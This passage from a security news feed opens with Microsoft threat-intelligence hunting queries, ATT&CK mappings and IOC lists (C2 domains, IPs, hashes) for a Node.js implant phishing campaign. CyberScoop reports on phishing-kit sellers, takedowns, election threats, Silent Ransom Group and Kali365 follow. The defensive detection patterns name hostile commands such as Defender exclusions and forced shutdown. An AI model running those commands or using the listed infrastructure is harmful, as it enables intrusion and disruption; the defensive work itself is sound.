| order by Timestamp desc
Wave 2 .cfd and .bond domain connections
This query detects network connections to the campaign’s Wave 2 domain infrastructure.
DeviceNetworkEvents
| where RemoteUrl has_any (".cfd", ".bond", ".click")
| where RemoteUrl has "photo-" or RemoteUrl has_any ("zloapobikahy23", "higoksbupwou", "aluminiostramuntana")
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
Browser automation and forced shutdown on previously affected hosts
This query identifies late-stage post-compromise behavior on hosts already showing earlier campaign indicators.
let suspiciousHosts =
DeviceProcessEvents
| where FileName =~ "node.exe" and FolderPath has @"\AppData\Local\Nodejs\"
| distinct DeviceId;
DeviceProcessEvents
| where DeviceId in (suspiciousHosts)
| where ProcessCommandLine has_any ("--headless", "--no-sandbox", "shutdown -s -t 0")
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
Calendly-associated notification infrastructure used in phishing delivery
This query identifies emails from the campaign’s Calendly-associated subdomain with the characteristic display name.
EmailEvents | where SenderMailFromDomain =~ "em1618.calendly.com" | where SenderMailFromAddress startswith "bounces+13766497-" or SenderDisplayName has "Booking Manager" | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation, ThreatTypes | order by Timestamp desc
share.google redirect token detection in email URLs
This query detects emails containing share.google redirect URLs, which the campaign uses as an intermediate hop to obscure the final phishing destination.
EmailUrlInfo | where Url contains "share.google/" | join kind=inner EmailEvents on NetworkMessageId | where SenderMailFromDomain has "calendly" or SenderDisplayName has "Booking" | project Timestamp, NetworkMessageId, SenderFromAddress, RecipientEmailAddress, Subject, Url, DeliveryAction | order by Timestamp desc
Calendly redirect URL phishing detection
This query identifies emails containing Calendly redirect URLs that match known campaign patterns, including share.google tokens or photo-*.cfd domains.
EmailUrlInfo
| where Url contains "calendly.com/url?q="
| where Url has_any ("share.google", "photo-", ".cfd")
| join kind=inner EmailEvents on NetworkMessageId
| project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, Url, DeliveryAction, AuthenticationDetails
| order by Timestamp desc
High-frequency file hash hunting (combined Waves 1 and 2)
This query hunts for all known campaign file hashes across endpoint telemetry.
let hashes = dynamic([
"83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7",
"06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969",
"04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1",
"1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a",
"2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc",
"3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44",
"63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae",
"49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd",
"6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9",
"f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14",
"98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8",
"bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9",
"89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028",
"1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd",
"9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2",
"97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f",
"c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5",
"b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea"
]);
DeviceFileEvents
| where SHA256 in (hashes)
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
Microsoft Sentinel customers can use the Microsoft Defender XDR connector to ingest the above queries or leverage the Threat Intelligence Mapping analytics rule to match campaign IOCs against ingested logs.
| Tactic | Technique ID | Technique Name | Observed Activity |
| Resource Development | T1583.001 | Acquire Infrastructure: Domains | Short-lived .cfd landing domains (photo-26653[.]cfd, photo-26656[.]cfd, photo-27857[.]cfd) are registered and rotated every 2–3 days |
| T1583.006 | Acquire Infrastructure: Web Services | Use of Calendly account (em1618.calendly[.]com) and generated share[.]google redirect tokens to relay phishing | |
| Initial Access | T1566.002 | Phishing: Spearphishing Link | Calendly notification emails carrying redirect links (observed from late May 2026) |
| T1199 | Trusted Relationship | Authentication laundering through Calendly’s SendGrid infrastructure | |
| Initial Access | T1656 | Impersonation | Sender addresses of legitimate hospitality-sector domains spoofed to increase lure credibility; domain mail infrastructure was not accessed or used to send messages (SPF fail, DKIM none, no DMARC policy published) |
| Execution | T1204.002 | User Execution: Malicious File | User opens fake image LNK (IMG-/PHOTO-*.png.lnk) |
| T1059.001 | PowerShell | Obfuscated bigint decoder downloads .ps1 | |
| T1059.007 | JavaScript | Node.js implant executes .js payload with C2 domain | |
| Defense Evasion | T1027 | Obfuscated Files or Information | Seven-phase PowerShell obfuscation evolution |
| T1027.004 | Compile After Delivery | csc.exe compiles .NET DLL on-target (Wave 2) | |
| T1036 | Masquerading | LNK files disguised as .png images | |
| T1562.001 | Disable or Modify Tools | Add-MpPreference exclusions for Temp EXE files | |
| Persistence | T1547.001 | Registry Run Keys / Startup Folder | Dual Run (Node.js) + RunOnce (ProgramData EXE) |
| Discovery | T1016 | System Network Configuration Discovery | ip-api[.]com geolocation lookup |
| Command & Control | T1571 | Non-Standard Port | C2 on ports 8443, 8445, 8453, 5555, 56001-56003 |
| Indicator | Type | Description |
| 178.16.54[.]27 | IP | Primary — Active in both waves, ports 56001/56002 |
| 95.217.97[.]121 | IP | Persistent beacon (Wave 1) |
| 193.202.84[.]32 | IP | Secondary (Wave 1) |
| 178.16.55[.]179 | IP | Additional (Wave 1) |
| 172.67.161[.]215 | IP | phishing TonRAT C2 (Cloudflare shared CDN ) |
| 8443, 8445, 8453 | Port | Non-standard C2 ports |
| 5555 | Port | Non-standard C2 port |
| 56001, 56002, 56003 | Port | Non-standard C2 ports |
| Indicator | Type | Description |
| prejointl[.]info | Domain | C2 domain |
| safedocphoto[.]info | Domain | C2 domain |
| recallnine[.]info | Domain | C2 domain |
| kentjerk[.]info | Domain | C2 domain |
| photodoc-secure[.]info | Domain | C2 domain |
| kelopins[.]info | Domain | C2 domain |
| docstore-safe[.]info | Domain | C2 domain |
| photosafe-hub[.]info | Domain | C2 domain |
| dashgamein[.]info | Domain | C2 domain |
| image-vlt[.]info | Domain | C2 domain |
| safedoc-storage[.]info | Domain | C2 domain |
| safe-picvault[.]info | Domain | C2 domain |
| photo-dekor[.]xyz | Domain | C2 domain |
| reservebookphot[.]pro | Domain | C2 domain |
| kellystreets[.]info | Domain | C2 domain |
| widjssij728dj[.]com | Domain | C2 domain |
| docshub-01[.]info | Domain | C2 domain |
| photobookadm[.]pro | Domain | C2 domain |
| safedoc-vault[.]info | Domain | C2 domain |
| keypmenu[.]info | Domain | C2 domain |
| photo-box[.]info | Domain | C2 domain |
| expedla-getphoto[.]cloud | Domain | C2 domain |
| vertualstreak[.]info | Domain | C2 domain |
| montagelips[.]info | Domain | C2 domain |
| racestrech[.]info | Domain | C2 domain |
| derbyoni[.]info | Domain | C2 domain |
| ministrew[.]info | Domain | C2 domain |
| visaphoto-secure[.]info | Domain | C2 domain |
| docshub-secure[.]com | Domain | C2 domain |
| visaimage-storage[.]icu | Domain | C2 domain |
| lookinlip[.]info | Domain | C2 domain |
| safephoto-vault[.]info | Domain | C2 domain |
| kiptownim[.]info | Domain | C2 domain |
| finallyrain[.]info | Domain | C2 domain |
| photobook-reserv[.]pro | Domain | C2 domain |
| bookreservphoto[.]pro | Domain | C2 domain |
| imagestore-hub[.]info | Domain | C2 domain |
| visaimages[.]info | Domain | C2 domain |
| visaphoto-vault[.]info | Domain | C2 domain |
| visa-vault[.]info | Domain | C2 domain |
| visa-safedocs[.]info | Domain | C2 domain |
| joincroud[.]info | Domain | C2 domain |
| kinghoruswe[.]info | Domain | C2 domain |
| snapkeep[.]info | Domain | C2 domain |
| deeprace[.]info | Domain | C2 domain |
| lestresot[.]info | Domain | C2 domain |
| recepyman[.]info | Domain | C2 domain |
| recstrace[.]info | Domain | C2 domain |
| heliosup[.]info | Domain | C2 domain |
| fairyspells[.]info | Domain | C2 domain |
| hakeiwjs727wj[.]com | Domain | C2 domain |
| haobbao[.]com | Domain | C2 domain |
| dancamp[.]info | Domain | C2 domain |
| sec-safe-dc[.]info | Domain | C2 domain — Active in both waves |
| secure-imagehub[.]info | Domain | C2 domain |
| doc-imagehub[.]info | Domain | C2 domain |
| imagevault-safe[.]info | Domain | C2 domain |
| photo-hub-io[.]info | Domain | C2 domain |
| safevault-hub[.]info | Domain | C2 domain |
| tripadvisor-photo-view[.]com | Domain | C2 domain |
| photo-7216302[.]sbs | Domain | C2 domain |
| Indicator | Type | Description |
| photo-26254[.]cfd | Domain | Phishing landing page |
| photo-132454[.]cfd | Domain | Phishing landing page |
| photo-8632454[.]cfd | Domain | Phishing landing page |
| photo-21473[.]xyz | Domain | C2 domain |
| photo-7216102[.]click | Domain | C2 domain |
| zloapobikahy23[.]bond | Domain | C2 domain |
| higoksbupwou[.]com | Domain | C2 domain |
| aluminiostramuntana[.]com | Domain | C2 domain |
| photo-26653[.]cfd | Domain | Phishing landing page |
| photo-26654[.]cfd | Domain | Phishing landing page |
| photo-26656[.]cfd | Domain | Phishing landing page |
| photo-27857[.]cfd | Domain | Phishing landing page |
Microsoft has assigned malicious ratings to these domains, and they are being blocked.
| Indicator | Type | Description |
| 83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7 | SHA-256 | Campaign payload (Wave 1) |
| 06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969 | SHA-256 | Campaign payload (Wave 1) |
| 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1 | SHA-256 | PE payload (xmnrwv9l.exe) — Same hash in both waves |
| 1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a | SHA-256 | Campaign payload (Wave 1) |
| 2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc | SHA-256 | Campaign payload (Wave 1) |
| 3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44 | SHA-256 | Campaign payload (Wave 1) |
| 63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae | SHA-256 | Campaign payload (Wave 1) |
| 49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd | SHA-256 | Campaign payload (Wave 1) |
| 6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9 | SHA-256 | Campaign payload (Wave 1) |
| da4b72764ae929050353f3da759c839e2a061a8b9a8dd3c3b2e909d4a8a3291c | SHA-256 | Campaign payload (Wave 1) |
| f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14 | SHA-256 | Campaign payload (Wave 1) |
| 98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8 | SHA-256 | Campaign payload (Wave 1) |
| bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9 | SHA-256 | Campaign payload (Wave 1) |
| 89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028 | SHA-256 | Campaign payload (Wave 1) |
| 1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd | SHA-256 | Campaign payload (Wave 1) |
| 9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2 | SHA-256 | IMG-386443483.png.lnk (Wave 2) |
| 97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f | SHA-256 | PHOTO-215746435.png.lnk (Wave 2) |
| c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5 | SHA-256 | qFWe908J.ps1 (419 KB, Wave 2) |
| b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea | SHA-256 | bjygtujc.dll (3,072 bytes, compiled .NET, Wave 2) |
| d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11 | SHA-256 | node.exe (v24.13.0-win-x64, 89.9 MB) |
| Indicator | Type | Description |
| Pattern A | Behavior | Obfuscated PowerShell downloader: BigInt decoder → iwr → .ps1 |
| Pattern B | Behavior | .NET DLL compilation: csc.exe → cvtres.exe → <random>.dll (Wave 2) |
| Pattern C | Behavior | Node.js implant: node.exe <random>.js <domain> |
| Pattern D | Behavior | Defender exclusion: Add-MpPreference -ExclusionProcess |
| Pattern E | Behavior | Temp EXE execution: Numerous random filenames |
| Pattern F | Behavior | Installer or unpacker: *.tmp with /SL5 or /VERYSILENT |
| Pattern G | Behavior | ProgramData copy: Lowercase, same hash |
| Pattern H | Behavior | RunOnce loop persistence: Value refreshed after each execution |
| Pattern I | Behavior | Browser automation: –headless –no-sandbox |
| Pattern J | Behavior | Forced shutdown: cmd /c shutdown -s -t 0 |
| Pattern K | Behavior | Persistence survival: Node.js Run key survives Defender PE block |
| Pattern L | Behavior | Authentication laundering: Direct-path Calendly email passes SPF/DKIM/DMARC/CompAuth (share.google variant fails authentication) |
| Pattern M | Behavior | Multi-hop redirect: Calendly → share.google → Google → photo-*.cfd |
| Pattern N | Behavior | Domain rotation: photo-*.cfd domains with ~2–3 day lifespan |
This research is provided by Microsoft Defender Security Research, Parth Jamodkar, and with contributions from members of Microsoft Threat Intelligence.
For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.
The post Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access appeared first on Microsoft Security Blog.
An Algerian man known online as “SPOX” was extradited from Spain and charged with running a black-market cybercrime operation that prosecutors say defrauded thousands of victims and funneled roughly $900,000 through a cryptocurrency account over a three-year period.
Abdellah Belmili, 26, made his initial appearance Monday in the U.S. District Court for the Western District of New York in Buffalo. He faces a single count of conspiracy to commit bank fraud, which carries a maximum sentence of 30 years in prison.
He was extradited from Spain earlier this month.
Federal investigators say Belmili allegedly created and administered at least two illicit online marketplaces, market0day.com and spoxy.us, that operated similarly to commercial e-commerce platforms. The marketplaces sold financial credentials, phishing kits, compromised email server access, and other tools used to carry out fraud. All transactions on the sites were conducted in Bitcoin.
According to court documents, the FBI became aware of the marketplaces in September 2020 through a confidential source. The site’s administrator was already known to investigators as a prolific creator of phishing kits targeting major U.S. financial institutions.
In 2020, undercover FBI agents used the marketplace to buy a phishing kit designed to replicate JPMorgan Chase’s login page and capture victims’ personal information. Agents also purchased access to a compromised email server. A third item — access to a website control panel — was paid for but never delivered, prompting customer complaints on Belmili’s Telegram channel.
Shortly after those complaints surfaced, Belmili announced he was closing market0day.com and redirecting customers to a new site, spoxy.us, which he described as a “new store for bulk sms,” which typically refers to mass phishing via text message.
The new site used the same template, color scheme, and navigation structure as its predecessor and was registered using the stolen identity of a 77-year-old Texas resident.
Investigators identified Belmili through a combination of open-source research, search warrants, and records obtained from technology and financial companies. Early versions of his phishing kit code contained his full name, “Dila Belmili,” embedded in the source alongside his Telegram handle and a link to the marketplaces. Facebook accounts linked to the alias “spox_coder” listed “Dila Belmili (spox)” as the display name, and customers had posted complaints about phishing kit purchases directly on his profile.
Records obtained from Google showed that Belmili used his personal email account to search for financial institution logos, hacking tools, and methods for generating fake identities and credit card numbers. The same account received approximately 1,400 emails containing victims’ stolen personal information from active phishing kits targeting American Express, Bank of America, Cash App, JP Morgan Chase, PayPal, and Wells Fargo.
Investigators also found that Belmili had built hidden backdoors into phishing kits he sold to other criminals, allowing him to continue harvesting victim data even after the kits changed hands.
Records from cryptocurrency exchange Binance showed approximately $900,000 deposited into an account registered to Belmili between Jan. 2020 and Jan. 2023. Of that amount, roughly $760,000 was transferred to other accounts or converted into other forms of cryptocurrency, while approximately $41,000 was withdrawn from ATMs.
In total, investigators identified approximately 595 distinct phishing kits created by Belmili. Analysis of victim data exported to Telegram pages and email accounts linked to the operation identified roughly 5,600 victims in the United States and internationally.
“This defendant thought that he could get away with defrauding thousands of victims out of hundreds of thousands of dollars by using fake names and hiding behind a keyboard to steal bank account and credit card numbers,” said U.S. Attorney Michael DiGiacomo in a release. “This arrest makes clear that, regardless of where you operate, our law enforcement partners will find you – and when they do, you will face the full consequences of your actions.”
You can read the court documents below.
The post Algerian man charged with running two cybercrime marketplaces appeared first on CyberScoop.
The FBI, along with Google and Lumen Technologies, took down a major cybercrime network based in China that was responsible for an estimated $1.9 billion in losses, officials said Friday.
Outsider, which provided phishing kits and hosted infrastructure for cybercriminals since July 2023, facilitated a wave of phishing attacks against people and businesses in 55 countries, including the United States, the FBI said in a LinkedIn post.
The jointly coordinated effort dubbed “Operation Ghost Hook” netted the seizure of several domains of the group’s core admin servers, a Shopify storefront, roughly $100,000 from Outsider payment wallets and thousands of domains registered through U.S.-based providers, officials said.
The FBI said it also used an Outsider Telegram bot to access information on the cybercrime network’s customers.
“The criminals behind Outsider Enterprise built a business out of impersonating trusted brands to defraud hundreds of thousands of victims,” Brett Leatherman, assistant director of the FBI’s cyber division, said in a statement.
Authorities traced Outsider’s phishing domains to nearly 3.9 million stolen credit cards.
Google, one of the vendors impersonated by the phishing kits, described Outsider as a massive AI-powered operation.
Outsider provided its phishing kit, which allowed cybercriminals to create fake sites and phishing campaigns to steal credit cards, bank account credentials and personal data, for a weekly subscription as low as $88 per week, the company said in a civil lawsuit it filed to dismantle the cybercrime network’s infrastructure.
The China-based group behind the operation encouraged and provided step-by-step instructions for customers to use Gemini and other AI platforms to generate custom code for phishing lures and corresponding sites for illegitimate missed packages, overdue highway tolls, parking violations, issues with a brokerage account or wireless carrier rewards.
“The Outsider software allows scammers to request multiple types of verification from victims, including SMS, PIN, email and app verification,” Google wrote in the lawsuit filed in the U.S. District for the Southern District of New York. “This flexibility enables the enterprise to defeat various forms of authentication security.”
Google said it’s working with AT&T, T-Mobile and Verizon to intercept the spam messages before they reach customers, but these types of phishing attacks are prevalent and have been spreading for years.
Google is also pushing for legislative action, including a series of bills, to combat these scams, General Counsel Halimah DeLaine Prado wrote in a blog post.
“Litigation alone won’t end this,” she wrote. “As threats evolve, our laws must, too.”
Google said it doesn’t know the real names of the people or entities involved in Outsider, but said the operation is supported by multiple cybercrime groups providing different roles with overlapping infrastructure.
The FBI said the takedown was part of Operation Riptide, an ongoing campaign targeting cybercriminals and the infrastructure and financial networks they use to commit fraud.
The post FBI takes down massive China-based cybercrime network that caused $1.9B in losses appeared first on CyberScoop.
Cybersecurity threats to the 2026 midterm elections are targeting the accounts and platforms that campaigns, donors and voters use to communicate, according to a security report released Monday by Check Point Software Technologies.
So far in this election cycle, threats are not aimed at voting machines or ballot-counting systems. Instead, threat actors are going after the email accounts, websites and fundraising platforms that election organizations depend on.
Jeremy Fuchs, a campaign manager for Check Point, told CyberScoop that the report’s core findings reflect a broader trend in cybersecurity: Bad actors are using AI to make their attacks larger and more effective.
“The barrier to entry is lower and the quality is so much higher than it was three years ago, 10 years ago, that everything is going to look more realistic and it’s going to be more effective at accomplishing whatever goals [attackers] have,” he said.
Email remains the easiest way for hackers to perpetuate election-related schemes. Check Point found that 82% of malicious attacks arrive through email, where threat actors covertly trick users into handing over their passwords for major fundraising sites. Approximately 9,500 stolen passwords were tied to ActBlue, which collects donations for Democratic candidates. Approximately 6,500 were linked to WinRed, a Republican fundraising platform.
Fuchs noted that this information may not be directly used for election-related schemes, yet could be leveraged for opportunistic follow-on attempts at accessing other accounts.
“Whenever an exposure like this happens, whether it’s with a political site or not, oftentimes it’s saved for later,” he said. “If I have your email and password, if I have your phone number, I can just start an attack, a simple phishing attack that has nothing to do with the election right now.”
Threat actors are also registering many new websites with election-related names. In January, about 1,300 new websites included the word “election” and about 4,010 included the word “vote.” These websites can be used for phishing scams, where hackers trick people into giving up their passwords by pretending to be legitimate election organizations.
Fuchs noted that not every website may turn out to be malicious, but the speed with which these sites have been established — especially when legitimate campaign sites have been running years before an election — has led researchers to believe that the majority will be used for nefarious purposes.
“If you’re spinning up these websites very quickly and at scale, there’s a reason for it,” he said.
Misinformation and manipulated content present another layer of concern, especially as AI-generated political content has become increasingly visible in the 2026 cycle. Earlier this month, OpenAI rolled out a suite of tools and safeguards that’s meant to provide a layer of security for this particular election cycle.
Fuchs said this AI-powered manipulation is only going to grow as we get closer to Election Day, and as the models get better, so too will actors’ ability to deceive people with fake content.
“It’s really hard to make sense of these things when the AI, and the attacks, have just become so good,” he said. “It was hard when they weren’t good. So now imagine how much harder it’s going to be when it is good, and it’s continuing to get better and better.”
Fuchs warned that the speed at which AI-powered election threats are evolving presents a challenge that extends beyond technical defenses, saying that the true challenge lies in a threat landscape that’s changing faster than public understanding can keep pace.
“There’s so much more that we as a society can truly fathom,” he told CyberScoop. Generative AI “is moving so fast. It’s getting so good. And if we’re not having those conversations about, ‘hey, this is how things might change,’ all this stuff is just going to continue to get more difficult and more difficult. And it’s going to flare at these inflection points, whether an election is kind of the perfect place for it, because there’s just so much at stake for so many people.”
You read the full report on Check Point’s website.
Update, 6/2/2026, 4:30 p.m.: This story has been amended to further clarify how threat actors are obtaining passwords for campaign donation sites.
The post Election threats are focused on campaign systems, not voting machines appeared first on CyberScoop.
Silent Ransom Group, a long-running data extortion operation, continues to hit U.S.-based law firms by impersonating IT support and, in some cases, visiting victims in person to gain physical access to computers, the FBI said in an alert Tuesday.
The closed group, which likely operates from Russia and emerged in 2022 after Conti disbanded, has claimed responsibility for more than 100 attacks with activity surging during the past few months, according to researchers.
The FBI’s warning comes exactly one year after the agency released a previous alert about Silent Ransom Group consistently targeting law firms since mid-2023. The group doesn’t deploy encryption, but its dual use of social engineering and in-person visits for data theft is extremely rare with no known parallels across the vast cybercrime ecosystem, multiple experts told CyberScoop.
“There were probably a lot of times that this failed before it started succeeding because there’s a lot of trial-and-error involved,” said Allan Liska, field chief information security officer at Recorded Future. Whereas other ransomware groups would rather move on to other tactics or targets, “Silent Ransom Group has seen the value especially in going after law firms, and so they’re willing to put the extra effort into it,” he added.
The data extortion group, which is also tracked as Chatty Spider, UNC3753 and Storm-0252, isn’t as prolific as more high-tempo ransomware groups. Yet, it’s having a noticeable impact due to its proven knack for attacking organizations in the legal sector.
Halcyon tracked 134 ransomware incidents against law firms and legal services during the first quarter of this year, making it the fourth-most targeted industry accounting for more than 6% of all ransomware attacks the company tracked during the period.
Silent Ransom Group and Inc, a ransomware-as-a-service operation dating back to mid-2023, are largely responsible for that uptick, said Cynthia Kaiser, senior vice president at Halycon’s Ransomware Research Center.
“Silent was the first group to really just be targeting law firms, and they’ve targeted major law firms” with a clear understanding of what’s most problematic for organizations in that segment, she added. “The theft of data in and of itself is the biggest issue for the law firms, so they’re tailoring a lot of their operations around what they know about the sector.”
Law firms are a rich target because data theft creates huge privilege and reputational problems, which creates the perception they might be more willing to pay high extortion demands, Kaiser said.
Silent Ransom Group’s social engineering scheme involves phone calls or phishing emails that urge employees to call one of the group’s associates posing as IT support, the FBI said. If the group’s attempt to gain access to the employee’s computer via remote access tools fails, it sends an associate to the victim’s location to physically attach a storage device to the victim’s workstation.
This extra step is unique and places Silent Ransom Group in a completely different mode of operation than its peers in ransomware and data theft extortion. Some aggressive data theft extortion groups have harassed and threatened executives and employees with physical violence, but in-person visits for data theft are extraordinary.
“While Flashpoint has observed threat actors soliciting or co-opting both witting and unwitting insiders, we have not observed them physically sending attackers to victim locations. This tactic carries significant risk, as threat actors are able to use technology to obscure their real-world identities,” said Ian Gray, vice president of cyber threat intelligence operations at Flashpoint.
Joe Slowik, director of cybersecurity alerting strategy at Dataminr, said it’s easy to question why potential victims would fall for this tactic. “However, humans in the workplace need to implicitly trust others to get their jobs done,” he said.
“Questioning everything, while seemingly desirable, introduces significant friction and distrust in workplace environments and limits productivity in arbitrary ways,” Slowik added. “Criminal entities will continue to prey on human weaknesses and dependencies for success, and placing the burden solely on employees to defend against this is unfair and unreasonable.”
The FBI did not provide details about the people Silent Ransom Group uses to initiate the fake IT support calls or visit victims in person. Yet, with the group’s operators based in Russia, researchers speculate gig workers or subcontractors are playing a critical role by placing voice-based phishing calls in a common language and visiting victims at their workplace.
Liska said he’s under the impression the group is using freelance taskers that don’t necessarily know they are committing a crime. “They may be suspicious, but you know, they need the money,” he said.
“It’s kind of like a Doordash person that delivers Arby’s,” Liska said. “You know you’re doing really bad things to people, but you know what, they’re paying you to deliver.”
The post FBI warns US-based law firms to be on the lookout for cybercrime group that steals data in person appeared first on CyberScoop.
The FBI is warning organizations and defenders about Kali365, a growing phishing-as-a-service platform that retrieves Microsoft 365 access tokens, issuing a public service announcement Thursday.
The toolkit bypasses multi-factor authentication and abuses OAuth device code authorizations via phishing lures impersonating common enterprise services. This technique grants cybercriminal-controlled applications access to Microsoft 365 accounts, opening victims up to a host of follow-on malicious activity, including data theft, fraud, extortion and ransomware attacks.
Kali365 is one of many rapidly emerging device-code phishing tools, which are gaining popularity as a more effective means for cybercriminals to circumvent security controls while abusing legitimate Microsoft device authorization pages, according to researchers.
Instead of gaining access to accounts via phishing kits that steal credentials and second-factor authentication codes, device-code phishing platforms connect a malicious app to a legitimate account with a single code. The process requires fewer steps and less interaction with the user, but victims do have to copy-and-paste a code generated by the Kali365 platform to grant access.
“We see quite a bit of this device-code phishing activity, but so much of it looks really similar. They’re all using the same types of lures, the same types of content, the same branding,” Selena Larson, senior threat researcher at Proofpoint, told CyberScoop. “It is very much AI generated, AI driven, and the threat actors, I think, are finding it pretty effective because we’re seeing this shift happen kind of all at once.”
Proofpoint researchers observed seven device-code phishing tools that looked nearly identical during a 10-day period last month.
Device-code phishing isn’t new, but platforms like Kali365 have integrated new techniques that differ from MFA phishing, and might be more effective as a result. “It’s something that people might not be used to. It’s a little bit sleeker,” Larson said.
This also partly explains why these cybercriminal tools are growing so quickly. Larson said Proofpoint observed an explosion in device-code phishing activity starting in February.
By April, Kali365 was up and running and primarily distributed on Telegram, according to the FBI. “Kali365 lowers the barrier of entry, providing less-technical attackers access to AI-generated phishing lures, automated campaign templates, real-time targeted individual/entity tracking dashboards, and OAuth token capture capabilities,” the agency said in the public warning.
Researchers at Arctic Wolf Labs, which has also been tracking large-scale campaigns linked to Kali365, said the platform charges affiliates $250 for 30 days of service or $2,000 for a full year.
Kali365 stores the OAuth access and refresh tokens it captures, and makes those available to affiliates on its platform. Those tokens can also be shared and reused by other cybercriminals who didn’t participate in the initial phishing lure, Arctic Wolf researchers added.
The FBI also noted that these Microsoft 365 tokens provide persistent access, allowing attackers to wade through multiple Microsoft services without a password or additional MFA requests.
“Identity can be very, very powerful once you’re in an organization,” Larson said, adding that attackers can abuse that access to impersonate people, access and steal data for extortion, commit fraud and deploy malware.
The post FBI warns about fast-growing phishing kit targeting Microsoft 365 users appeared first on CyberScoop.
